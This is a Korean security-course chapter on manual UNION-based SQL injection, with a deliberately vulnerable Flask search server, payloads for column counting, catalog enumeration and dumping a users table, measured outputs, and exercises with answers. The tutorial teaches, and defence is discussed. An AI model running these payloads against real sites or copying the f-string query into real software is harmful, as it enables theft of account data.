Step 136. SQLi 심화 — UNION으로 데이터베이스 통째로 빼내기

Step 136. SQLi 심화 — UNION으로 데이터베이스 통째로 빼내기

Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★★☆ | 예상 소요 시간 3.5시간

전제: Step 135의 SQLi 삼단 절차(탐지·변형·정리)와 컨텍스트 구분을 마쳤다.

  • 준비물: Step 135에서 만든 취약 서버 제작 경험, 파이썬 3 + Flask + sqlite3, curl. DVWA가 있다면 병행하면 좋습니다.
  • ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
  • 주의: MySQL의 information_schema 경로는 DVWA 기준 출력 예시입니다. 대신 같은 공격 흐름 전체 — 컬럼 수 맞추기부터 테이블 목록 탈취, 최종 덤프까지 — 를 sqlite3 로컬 서버에서 전 과정 실측합니다.

Step 135의 공격은 로그인 문을 열었을 뿐, 데이터를 화면으로 끌어내지는 못했습니다. 오늘 배우는 UNION 인젝션은 다릅니다. 원래 쿼리의 결과에 내가 만든 쿼리의 결과를 위아래로 붙여, 테이블 목록도, 계정 목록도, 비밀번호 해시도 검색 결과인 양 출력하게 만드는 기술입니다. 도구 없이 손으로 DB 전체를 터는 — SQL 인젝션 실력의 중심추입니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • UNION SELECT가 두 결과를 합치는 규칙(컬럼 수 일치)을 설명한다
  • ORDER BY n 기법으로 원래 쿼리의 컬럼 수를 알아낸다
  • UNION SELECT 1,2,3...으로 화면에 찍히는 출력 컬럼의 위치를 확인한다
  • sqlite_master(또는 MySQL의 information_schema)에서 테이블·컬럼 목록을 추출한다
  • 최종적으로 다른 테이블의 데이터를 덤프하는 전 과정을 재현한다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 파이썬 3 + Flask + sqlite3(실측), DVWA/MySQL(출력 예시 병기)
오늘의 페이로드 ' ORDER BY n-- , ' UNION SELECT ...-- , sqlite_master / information_schema 조회
필요한 개념 UNION의 컬럼 수 일치 규칙, 출력 컬럼(화면에 보이는 자리), 시스템 카탈로그 테이블
오늘의 산출물 lab136.py(취약 검색 서버) + 수동 UNION 추출 기록

2-1. UNION — 두 SELECT를 한 장으로

UNION은 두 SELECT의 결과를 위아래로 붙입니다. 규칙은 하나 — 컬럼 개수가 같아야 합니다.

SELECT name, price FROM products
UNION
SELECT username, password FROM users;

왼쪽이 2칸이면 오른쪽도 2칸. 이 규칙이 공격의 설계도가 됩니다. 검색창에 인젝션이 있다면, 내가 붙이는 두 번째 SELECT로 아무 테이블이나 조회해 결과를 화면에 섞어 넣을 수 있습니다.

2-2. 왜 컬럼 수부터 맞추는가

내가 붙이는 SELECT의 컬럼 수는 원래 쿼리와 같아야 하는데, 공격자는 원래 쿼리를 모릅니다. 그래서 찾아내야 합니다. 도구는 ORDER BY.

ORDER BY 2는 "2번째 컬럼으로 정렬"이라는 뜻입니다. 존재하는 컬럼 번호면 조용히 통과하고, 없는 번호면 오류가 납니다. 1, 2, 3…으로 올려 가다가 오류가 나는 숫자 직전이 컬럼 수입니다. 이진 탐색 아이디어를 그대로 쓰는, SQLi의 대표 정찰 기법입니다.

2-3. 출력 컬럼 — 숫자가 찍히는 자리를 봐라

컬럼 수를 맞춰 UNION을 성공시켜도, 내 SELECT의 모든 컬럼이 화면에 나오는 것은 아닙니다. 서버 코드가 결과의 일부 칸만 출력하기 때문입니다. 그래서 ' UNION SELECT 'A','B'-- 처럼 표식을 넣어 어느 칸이 화면에 찍히는지 확인합니다. 찍히는 칸이 곧 데이터 유출의 창구입니다.

2-4. 카탈로그 — 목록의 목록

모든 DB는 "자기 안에 무엇이 있는지"를 스스로 담은 시스템 테이블을 갖고 있습니다.

  • SQLite: sqlite_mastername(테이블명)과 sql(CREATE TABLE 문 전체!) 컬럼
  • MySQL: information_schema.tables / information_schema.columns

공격자는 여기서 먼저 테이블 이름을 얻고, 컬럼 이름을 얻고, 마지막으로 본체 데이터를 덤프합니다. 정찰 → 지도 작성 → 약탈의 삼단입니다.


3. 따라 하기

3-1. 취약 검색 서버 준비

오늘의 무대는 상품 검색창입니다. lab136.py (교육용 취약 코드 — 어디에도 배포 금지):

import sqlite3
from flask import Flask, request

app = Flask(__name__)
CONN = sqlite3.connect(":memory:", check_same_thread=False)
CONN.execute("CREATE TABLE products (name TEXT, price INTEGER)")
CONN.executemany("INSERT INTO products VALUES (?, ?)", [
    ("기계식 키보드", 89000), ("보안 책", 32000), ("모니터", 210000),
])
CONN.execute("CREATE TABLE users (username TEXT, password TEXT)")
CONN.executemany("INSERT INTO users VALUES (?, ?)", [
    ("admin", "sup3r_s3cret!"), ("alice", "wonderland"), ("bob", "builder99"),
])

@app.route("/search")
def search():
    q = request.args.get("q", "")
    sql = f"SELECT name, price FROM products WHERE name LIKE '%{q}%'"
    try:
        rows = CONN.execute(sql).fetchall()
    except Exception as e:
        return f"[오류] {e}\n실행된 SQL: {sql}", 500
    out = [f"{name} | {price}원" for name, price in rows]
    body = "\n".join(out) if out else "결과 없음"
    return f"검색 결과:\n{body}\n---\n실행된 SQL: {sql}"

if __name__ == "__main__":
    app.run(port=5136)
python lab136.py

공격자 관점에서 중요한 사실: 화면에는 products 검색 결과만 보이는데, 같은 DB 안에 users 테이블이 있습니다. 실제 서비스도 마찬가지입니다 — 검색창 뒤의 DB에는 회원·주문·결제가 함께 삽니다.

3-2. 정상 관찰과 탐지

정상 검색 (2026-09-09 실측, 파이썬 requests 사용 — Git Bash의 curl은 한글 인코딩이 어긋날 수 있습니다):

import requests
r = requests.get("http://127.0.0.1:5136/search", params={"q": "키보드"})
print(r.text)
검색 결과:
기계식 키보드 | 89000원
---
실행된 SQL: SELECT name, price FROM products WHERE name LIKE '%키보드%'

Step 135의 삼단 절차대로 q='로 탐지하면 오류가 나며 인젝션 가능을 확인합니다 (구조는 Step 135와 동일 — 오늘은 그 다음이 본게임입니다).

3-3. 컬럼 수 찾기 — ORDER BY 정찰

입력 1: q=' ORDER BY 2-- → 통과 (2026-09-09 실측):

검색 결과:
보안 책 | 32000원
기계식 키보드 | 89000원
모니터 | 210000원
---
실행된 SQL: SELECT name, price FROM products WHERE name LIKE '%' ORDER BY 2-- %'

결과가 가격 오름차순으로 정렬됐습니다 — 2번째 컬럼(price)이 존재한다는 뜻.

입력 2: q=' ORDER BY 3-- → 오류 (2026-09-09 실측):

[오류] 1st ORDER BY term out of range - should be between 1 and 2
실행된 SQL: SELECT name, price FROM products WHERE name LIKE '%' ORDER BY 3-- %'

읽는 법: 에러 메시지가 정답을 말해 줍니다 — "1과 2 사이여야 한다". 컬럼은 2개. 실전에서는 이 숫자를 모를 때 1부터 올리며 첫 오류 지점을 찾습니다. MySQL이라면 Unknown column '3' in 'order clause' 같은 메시지가 나옵니다 (출력 예시).

3-4. 출력 위치 확인 — 표식 심기

입력: q=zzz' UNION SELECT 'A','B'-- (없는 검색어 zzz로 원래 결과를 비우고 내 결과만 띄웁니다)

출력 (2026-09-09 실측):

검색 결과:
A | B원
---
실행된 SQL: SELECT name, price FROM products WHERE name LIKE '%zzz' UNION SELECT 'A','B'-- %'

읽는 법: 화면에 A | B원이 찍혔습니다 — 두 칸 모두 출력 컬럼입니다. 첫 칸에 테이블명, 둘째 칸에 비밀번호가 나올 수 있다는 뜻입니다. 실전에서는 UNION SELECT 1,2,3...의 숫자가 어디에 찍히는지로 판별합니다.

: 만약 2번째 칸이 화면에 안 나오는 서버였다면, 빼낼 데이터를 전부 1번째 칸에 username || ':' || password처럼 합쳐 심으면 됩니다. 출력 컬럼 확인이 추출 설계의 전부입니다.

3-5. 지도 작성 — 테이블 목록 탈취

입력: q=zzz' UNION SELECT name, sql FROM sqlite_master--

출력 (2026-09-09 실측):

검색 결과:
products | CREATE TABLE products (name TEXT, price INTEGER)원
users | CREATE TABLE users (username TEXT, password TEXT)원
---
실행된 SQL: SELECT name, price FROM products WHERE name LIKE '%zzz' UNION SELECT name, sql FROM sqlite_master-- %'

읽는 법: 한 방에 두 가지를 얻었습니다. 테이블 목록(products, users)과, SQLite의 sql 컬럼 덕분에 CREATE TABLE 문 전체 — 즉 컬럼 이름(username, password)까지. 지도가 완성됐습니다.

: MySQL이라면 이 단계가 두 방으로 나뉩니다 (출력 예시):

' UNION SELECT table_name, 2 FROM information_schema.tables WHERE table_schema=database()-- 
' UNION SELECT column_name, 2 FROM information_schema.columns WHERE table_name='users'-- 

database()는 "현재 DB 이름"을 반환하는 함수 — DB명을 몰라도 쓸 수 있어 실전에서 애용됩니다.

3-6. 약탈 — users 테이블 덤프

입력: q=zzz' UNION SELECT username, password FROM users--

출력 (2026-09-09 실측):

검색 결과:
admin | sup3r_s3cret!원
alice | wonderland원
bob | builder99원
---
실행된 SQL: SELECT name, price FROM products WHERE name LIKE '%zzz' UNION SELECT username, password FROM users-- %'

읽는 법: 검색창이 전원의 계정과 비밀번호를 출력했습니다. Step 135의 로그인 우회가 "문을 연 것"이라면, 이것은 금고를 통째로 옮긴 것입니다. 요청 한 번에 테이블 전체가 나왔습니다.

: 이 흐름 — 컬럼 수 → 출력 위치 → 카탈로그 → 덤프 — 는 DVWA의 SQL Injection 메뉴에서 손으로 users 테이블을 터는 절차와 정확히 같습니다. DVWA가 있다면 지금 이 네 단계를 그대로 재현해 보세요. MySQL 버전의 마지막 페이로드는 ' UNION SELECT user, password FROM users-- 입니다 (출력 예시).

3-7. 방어자의 눈으로 다시 보기

방금의 네 페이로드를 서버 로그에서 본다고 상상해 보세요. ORDER BY가 1, 2, 3으로 오르고, UNION SELECT가 등장하고, sqlite_master/information_schema가 찍히는 순서 — 탐지 시그니처 그 자체입니다. WAF(웹 방화벽)와 로그 탐지가 바로 이 패턴을 봅니다. 공격을 손으로 해 본 사람만이 방어 규칙의 존재 이유를 압니다.


4. 미션과 연습문제

미션 — 수동 UNION 추출 사이클 완주

  1. lab136.py를 완성하고, 네 단계(컬럼 수 → 출력 위치 → 테이블 목록 → 덤프)의 페이로드와 출력을 전부 캡처합니다.
  2. 각 단계의 완성된 SQL을 손으로 재구성해 캡처 아래에 적습니다.
  3. 세 번째 테이블 secrets (code TEXT)를 서버에 추가하고, 카탈로그에서 찾아 덤프까지 스스로 해 봅니다.
  4. 위키에 UNION추출정리.md — "정찰 → 지도 → 약탈" 삼단과 각 단계의 페이로드 양식을 정리합니다. DVWA가 있다면 MySQL(information_schema) 버전도 병기합니다.

연습문제

문제 1. UNION 인젝션에서 컬럼 수를 먼저 알아내야 하는 이유와, ORDER BY n이 그 답을 주는 원리를 설명해 보세요.

문제 2. zzz' UNION SELECT 'A','B'-- 에서 앞에 붙인 zzz의 역할은 무엇인가요? 없으면 어떤 문제가 생기나요?

문제 3. 서버가 결과의 첫 번째 컬럼만 화면에 출력한다고 합시다. username과 password를 한 번에 빼내려면 두 번째 SELECT를 어떻게 고쳐야 하나요?

문제 4. sqlite_master(또는 information_schema) 조회가 방어자에게 어떻게 보이는지, 그리고 이 단계를 막는 근본 방어는 무엇인지 써 보세요.


5. 모범 답안과 완료 기준

미션 모범 답안

검증하는 법: ① ORDER BY 2 통과 / ORDER BY 3 오류(1st ORDER BY term out of range - should be between 1 and 2) 캡처가 있는가 (2026-09-09 실측 기준). ② 'A','B' 표식이 A | B원으로 찍힌 캡처가 있는가. ③ 카탈로그 단계에서 users 테이블과 컬럼명이 보이는가. ④ 덤프 단계에서 admin/alice/bob 전원이 나왔는가. ⑤ 추가한 secrets 테이블도 같은 절차로 추출됐는가 — 이 다섯 개가 전부 ‘예’면 완성입니다.

연습문제 해답

문제 1 해답. UNION은 양쪽 SELECT의 컬럼 수가 같아야 성립하는데 공격자는 원래 쿼리를 모르기 때문입니다. ORDER BY n은 n번 컬럼으로 정렬하라는 뜻이라, 존재하는 번호는 통과하고 없는 번호는 오류를 냅니다. 첫 오류 직전 번호가 컬럼 수입니다 — 실측에서 2는 통과, 3은 "between 1 and 2" 오류로 컬럼 2개가 확정됐습니다.

문제 2 해답. zzz는 원래 쿼리의 결과를 비우는 장치입니다. 검색어 zzz에 맞는 상품이 없으니 원래 SELECT는 0행이 되고, 화면에는 내 UNION 결과만 남아 읽기 쉬워집니다. 빼도 공격은 성공하지만, 원래 상품 목록과 내 데이터가 섞여 나와서 어느 줄이 내 것인지 구분하기 어렵습니다.

문제 3 해답. 두 값을 하나로 합쳐 첫 번째 컬럼에 심습니다: ' UNION SELECT username || ':' || password, NULL-- (SQLite의 문자열 결합은 ||, MySQL은 CONCAT(user, ':', password)). 출력되는 칸에 정보를 몰아넣는 것이 출력 컬럼 대응의 기본기입니다.

문제 4 해답. 로그에는 UNION SELECT와 카탈로그 테이블명이 평문으로 남습니다 — 탐지 규칙이 가장 잘 잡는 패턴입니다. 근본 방어는 패턴 차단이 아니라 파라미터 바인딩입니다: 입력이 쿼리 문법으로 승격되지 않으면 UNION이고 카탈로그고 성립 자체가 안 됩니다. 덤으로 DB 계정 권한 최소화(웹 계정이 users 테이블을 못 읽게)가 있습니다.

완료 기준 체크리스트

  • [ ] UNION의 컬럼 수 일치 규칙을 설명할 수 있다
  • [ ] ORDER BY n으로 컬럼 수를 찾는 실험을 재현했다
  • [ ] 표식('A','B')으로 출력 컬럼을 확인하는 이유를 말할 수 있다
  • [ ] sqlite_master / information_schema의 역할(목록의 목록)을 설명할 수 있다
  • [ ] 수동으로 users 테이블 전체를 덤프하는 데 성공했다
  • [ ] 네 단계(컬럼 수 → 출력 위치 → 카탈로그 → 덤프)의 순서를 이유와 함께 말할 수 있다
  • [ ] 미션: 새 테이블 추가 후 스스로 추출까지 완주했다

6. 흔한 실수와 해결

벽 1. "different number of columns" 계열 오류

증상 (SQLite 실측 계열): SELECTs to the left and right of UNION do not have the same number of result columns (MySQL 출력 예시: The used SELECT statements have a different number of columns).

원인: 내 UNION의 컬럼 수가 원래 쿼리와 다릅니다. 가장 흔한 실수입니다.

해결: 3-3으로 돌아가 ORDER BY 정찰을 다시 하세요. 컬럼 수가 확실하면 UNION SELECT NULL, NULL...처럼 NULL로 개수를 맞춘 뒤 하나씩 바꿔 가며 타입을 확인하는 방법도 정석입니다.

벽 2. UNION은 성공했는데 내 데이터가 안 보여요

증상: 오류는 없는데 화면에 원래 검색 결과만 나옵니다.

원인 둘 중 하나: ① 원래 쿼리의 결과가 너무 많아 내 행이 묻혔습니다 — 앞에 zzz 같은 없는 검색어를 붙이세요. ② 서버가 첫 행 하나만 출력합니다 — LIMIT 1을 꼬리에 붙이거나, 원래 결과를 0행으로 만들어 내 행이 첫 행이 되게 하세요.

벽 3. 테이블 이름을 쳤는데 "no such table"

증상 (SQLite 실측 계열): no such table: user — s를 빼먹은 경우.

원인: 테이블·컬럼 이름을 추측으로 쳤습니다. user인지 users인지, password인지 passwd인지는 환경마다 다릅니다.

해결: 추측하지 말고 3-5의 카탈로그 조회로 실제 이름을 먼저 빼내세요. 카탈로그가 있으면 지명 수배 없이 지도부터 얻을 수 있습니다.

벽 4. 공백이나 따옴표가 서버에서 깨져요

증상: 페이로드의 공백이 사라지거나 따옴표가 엉킵니다.

원인: URL에 특수문자를 인코딩 없이 실었습니다.

해결: curl이라면 --data-urlencode에 통째로 맡기세요 (Step 135부터 쓰던 방식). 파이썬 requestsparams=도 자동 인코딩해 줍니다. 손 인코딩은 실수의 원천입니다.

벽 5. database()가 SQLite에서 안 돼요

증상: database()를 쓰니 no such function: database.

원인: 그건 MySQL 함수입니다. SQLite에는 현재 DB명 함수가 없습니다 (파일 자체가 DB).

해결: DB별 방언을 구분하세요. SQLite는 sqlite_master, MySQL은 information_schemadatabase(). 챕터의 페이로드를 환경에 맞는 쪽으로 골라 쓰면 됩니다 — 사고 흐름(정찰→지도→약탈)은 동일합니다.


7. 정리

오늘의 개념

개념 한 줄 설명
UNION 두 SELECT를 위아래로 합치기 — 컬럼 수가 같아야 성립
ORDER BY n 정찰 없는 번호에서 오류 — 첫 오류 직전이 컬럼 수
출력 컬럼 서버가 화면에 실제로 찍는 칸 — 데이터 유출의 창구
sqlite_master SQLite의 카탈로그 — CREATE TABLE 문까지 통째로 보임
information_schema MySQL의 카탈로그 — tables / columns 두 단계 조회
정찰 → 지도 → 약탈 수동 UNION 추출의 삼단 사이클

오늘의 페이로드

페이로드 하는 일
' ORDER BY 2-- / ORDER BY 3-- 컬럼 수 이진 탐색
zzz' UNION SELECT 'A','B'-- 출력 컬럼 위치 확인
zzz' UNION SELECT name, sql FROM sqlite_master-- 테이블 목록 + 구조 탈취 (SQLite)
' UNION SELECT table_name, 2 FROM information_schema.tables WHERE table_schema=database()-- 테이블 목록 (MySQL)
zzz' UNION SELECT username, password FROM users-- 최종 덤프
username || ':' || password / CONCAT(...) 출력 칸이 하나일 때 합치기

명령어보다 중요한 감각

UNION 인젝션의 본질은 "검색 결과창을 SQL 콘솔로 바꾸는 것" 입니다. 컬럼 수를 맞추고, 찍히는 칸을 찾고, 카탈로그를 읽고, 본체를 덤프한다 — 이 네 동작은 어떤 DB에서도 같습니다. 도구(sqlmap)가 이 과정을 자동화해 주지만, 자동화가 먹히지 않는 커스텀 환경에서 살아남는 것은 오늘 손으로 밟은 이 사이클을 이해한 사람입니다. 그리고 방어자에게도 이 순서는 그대로 탐지 규칙의 목록입니다.


전부 체크되면 Step 136 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.